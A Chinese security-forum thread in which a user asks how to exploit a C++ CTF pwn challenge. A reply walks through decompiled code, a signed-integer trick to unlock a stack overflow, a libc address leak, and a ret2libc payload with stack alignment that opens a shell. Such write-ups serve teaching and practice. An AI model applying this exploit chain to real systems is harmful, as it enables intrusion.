首页
社区
课程
招聘
未解决 [求助]关于C++ PWN的问题
发表于: 2024-5-31 19:27 1938

未解决 [求助]关于C++ PWN的问题

2024-5-31 19:27
1938

C++ PWN

程序首先读取用户名并打印出来,无溢出。

其次有两个主要功能:

1.puts:读取box nummessage,初始化变量有一个地址0x4300的值为0,每次读取box num后会把box num加上

2.gets: 也是先读取box nummessage,然后进入一个函数,该函数如果地址0x4300的值为-1,可以读取0x100字节到buf中,bufrbp的距离为0x50。

现在是已知溢出点,但是不知道怎么构造rop链,首先就是程序开启NX保护,PIE,RELRO,只有canary保护没开。而且程序我不清楚哪个是可以输出信息的函数,没办法泄露地址,这里面还不存在pop rdi;ret指令。求大佬教教


[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

上传的附件:
收藏
免费 0
支持
分享
最新回复 (1)
雪    币: 164
活跃值: (1024)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2

解答

没人来做,只能我自己来花时间看,结合着AI来读程序

checksec

1
2
3
4
5
6
7
u20@ubuntu:~/Desktop/sb$ checksec pwn
[*] '/home/u20/Desktop/sb/pwn'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

分析代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  __int64 v3; // rax
  __int64 v4; // rax
  __int64 v5; // rax
  __int64 v6; // rax
  __int64 v7; // rax
  __int64 v8; // rax
  int v9; // [rsp+Ch] [rbp-24h] BYREF
  char buf[32]; // [rsp+10h] [rbp-20h] BYREF
 
  in1t();
  v3 = std::operator<<<std::char_traits<char>>(&std::cout, "username: ");
  std::ostream::operator<<(v3, &std::endl<char,std::char_traits<char>>);
  read(0, buf, 0x20uLL);
  std::operator<<<std::char_traits<char>>(&std::cout, buf);
  while ( 1 )
  {
    while ( 1 )
    {
      v9 = 0;
      v4 = std::operator<<<std::char_traits<char>>(&std::cout, "==========");
      std::ostream::operator<<(v4, &std::endl<char,std::char_traits<char>>);
      v5 = std::operator<<<std::char_traits<char>>(&std::cout, "1.puts");
      std::ostream::operator<<(v5, &std::endl<char,std::char_traits<char>>);
      v6 = std::operator<<<std::char_traits<char>>(&std::cout, "2.gets");
      std::ostream::operator<<(v6, &std::endl<char,std::char_traits<char>>);
      v7 = std::operator<<<std::char_traits<char>>(&std::cout, "==========");
      std::ostream::operator<<(v7, &std::endl<char,std::char_traits<char>>);
      v8 = std::operator<<<std::char_traits<char>>(&std::cout, "choice: ");
      std::ostream::operator<<(v8, &std::endl<char,std::char_traits<char>>);
      std::istream::operator>>(&std::cin, &v9);
      if ( v9 != 1 )
        break;
      puts();
    }
    if ( v9 != 2 )
      exit(0);
    gets();
  }
}

这就是一个简单的菜单而且只有两个选项,puts和gets,依次来分析。

puts函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
void puts()
{
  __int64 v0; // rax
  __int64 v1; // rax
  __int64 heap; // rbx
  char v3[44]; // [rsp+0h] [rbp-70h] BYREF
  unsigned int num; // [rsp+2Ch] [rbp-44h] BYREF
  char content[40]; // [rsp+30h] [rbp-40h] BYREF
  __int64 v6; // [rsp+58h] [rbp-18h]
 
  num = 0;
  std::string::basic_string(v3);
  v0 = std::operator<<<std::char_traits<char>>(&std::cout, "box num: ");
  std::ostream::operator<<(v0, &std::endl<char,std::char_traits<char>>);
  std::istream::operator>>(&std::cin, &num);
  v1 = std::operator<<<std::char_traits<char>>(&std::cout, "message: ");
  std::ostream::operator<<(v1, &std::endl<char,std::char_traits<char>>);
  std::operator>><char>(&std::cin, v3);
  std::string::basic_string(content, v3);
  heap = operator new(0x28uLL);
  str_cpy(heap, num, content);
  v6 = heap;
  std::string::~string(content);
  link(v6);
  std::string::~string(v3);
}

puts函数将创建一个大小为0x30的堆,用来存储box nummessage,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
username:
aaaa
aaaa
==========
1.puts
2.gets
==========
choice:
1
box num:
1
message:
bbbb

gdb调试如下:

1
2
3
4
5
6
0x55555556ced0:
0x0000000000000000  0x0000000000000031
0x55555556cee0:
0x0000000000000001(num) 0x000055555556cef8(msg addr)
0x55555556cef0:
0x0000000000000004(msg size) 0x0000000062626262(msg)

这是在堆里的输出,在puts函数中会发现一个叫link的函数(自己取的名)

1
2
3
4
5
__int64 __fastcall sub_18B2(_DWORD *addr)
{
  heap_array += *addr;
  return std::string::operator=(&unk_42E0, addr + 2);
}

heap_array(0x4300)+=*addraddr就是heap content的地址,根据上面的可以看出是box num,从调试中看

1
2
3
4
5
6
pwndbg> x/20gx 0x5555555582e0
0x5555555582e0:
0x00005555555582f0(msg addr)0x0000000000000004(msg size)
0x5555555582f0:
0x0000000062626262(msg)  0x0000000000000000
0x555555558300: 0x0000000000000001 (是刚才的box num=1)

gets函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
void gets()
{
  __int64 v0; // rax
  __int64 v1; // rax
  _DWORD *heap; // rbx
  char content[44]; // [rsp+0h] [rbp-70h] BYREF
  int num; // [rsp+2Ch] [rbp-44h] BYREF
  char v5[40]; // [rsp+30h] [rbp-40h] BYREF
  _DWORD *v6; // [rsp+58h] [rbp-18h]
 
  num = 0;
  std::string::basic_string(content);
  v0 = std::operator<<<std::char_traits<char>>(&std::cout, "box num: ");
  std::ostream::operator<<(v0, &std::endl<char,std::char_traits<char>>);
  std::istream::operator>>(&std::cin, &num);
  v1 = std::operator<<<std::char_traits<char>>(&std::cout, "message: ");
  std::ostream::operator<<(v1, &std::endl<char,std::char_traits<char>>);
  std::operator>><char>(&std::cin, content);
  std::string::basic_string(v5, content);
  heap = (_DWORD *)operator new(0x28uLL);
  str_cpy(heap, num, (__int64)v5);
  v6 = heap;
  std::string::~string(v5);
  overflow(v6);
  std::string::~string(content);
}

这个函数也是会创建一个大小为0x30的堆,布局与puts同,关注在overflow函数上

1
2
3
4
5
6
7
8
9
10
11
12
13
__int64 overflow()
{
  __int64 result; // rax
  char buf[80]; // [rsp+10h] [rbp-50h] BYREF
 
  result = (unsigned int)heap_array;
  if ( heap_array == -1 )
  {
    read(0, buf, 0x100uLL);
    return std::operator<<<char>(&std::cout, &unk_42E0);
  }
  return result;
}

一眼看出有栈溢出,再看存在条件,也就是heap_array=-1(0xffffffff),这个好办,前面提到的puts函数会修改heap_array的值,而且在输入num时,该变量为有符号整型,所以直接输入-1,即可得到heap_array=-1(0xffffffff)。如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
username:
aaaa
aaaa
==========
1.puts
2.gets
==========
choice:
1
box num:
-1
message:
aaaa
 
pwndbg> x/20gx 0x5555555582e0
0x5555555582e0: 0x00005555555582f0  0x0000000000000004
0x5555555582f0: 0x0000000061616161  0x0000000000000000
0x555555558300: 0x00000000ffffffff(successfully modified)

然后就想着怎么利用栈溢出攻击,前面提到,该程序只有canary保护没开启,其它全部开启。所以只能尝试利用ret2libc,问题是如何泄露并得到libc地址。在最开始的username输入时,就给出了,其中buf的地址位于rbp-0x20
调试

1
2
3
4
5
6
7
8
pwndbg> stack 20
00:0000│ rsp 0x7fffffffdf30 —▸ 0x7ffff7d7ce98 (std::wclog+216) —▸ 0x7ffff7d7ece0 ◂— 2
01:0008-028 0x7fffffffdf38 —▸ 0x7ffff7d7d120 (std::wcin) —▸ 0x7ffff7d76990 (vtable for std::basic_istream<wchar_t, std::char_traits<wchar_t> >+24) —▸ 0x7ffff7cb52d0 (std::basic_istream<wchar_t, std::char_traits<wchar_t> >::~basic_istream()) ◂— endbr64
02:0010│ rsi 0x7fffffffdf40 —▸ 0x7ffff7d7ef0a ◂— 0x3e8000000000000
03:0018-018 0x7fffffffdf48 —▸ 0x7ffff7ce860f (std::num_get<wchar_t, std::istreambuf_iterator<wchar_t, std::char_traits<wchar_t> > > const& std::use_facet<std::num_get<wchar_t, std::istreambuf_iterator<wchar_t, std::char_traits<wchar_t> > > >(std::locale const&)+63) ◂— test rax, rax
04:0020-010 0x7fffffffdf50 —▸ 0x7ffff7d7cdc8 (std::wclog+8) —▸ 0x7ffff7d77458 (vtable for std::basic_ostream<wchar_t, std::char_traits<wchar_t> >+64) —▸ 0x7ffff7cd0550 (virtual thunk to std::basic_ostream<wchar_t, std::char_traits<wchar_t> >::~basic_ostream()) ◂— endbr64
05:0028-008 0x7fffffffdf58 —▸ 0x7ffff7cb393a (std::basic_ios<wchar_t, std::char_traits<wchar_t> >::_M_cache_locale(std::locale const&)+90) ◂— mov qword ptr [rbx + 0x100], rax
06:0030│ rbp 0x7fffffffdf60 ◂— 1

rbp-0x20的地方就是rsi的内容,其中最低一字节被修改为'\x0a',因为输入进去了一个回车,然后计算这个与libc base的偏移,即可得到libc base,这样就得到了system/bin/shpop rdi;ret的地址。
overflow中构造payload

1
payload='a'*0x50+'a'*8+p64(pop_rdi)+p64(str_bin_sh)+p64(system)

但是在这个动态调试过程中会发现报错

1
0x7fbc229d1973    movaps xmmword ptr [rsp], xmm1                   <[0x7ffec0b57498] not aligned to 16 bytes>

说明rsp没有对齐,这个只需要在进入system函数之前再pop一次即可,所以在原payload基础上添加一个ret指令,构造栈平衡

1
payload='a'*0x50+'a'*8++p64(ret)+p64(pop_rdi)+p64(str_bin_sh)+p64(system)

这样就能成功拿到shell
图片描述

2024-10-11 08:40
0
游客
登录 | 注册 方可回帖
返回
//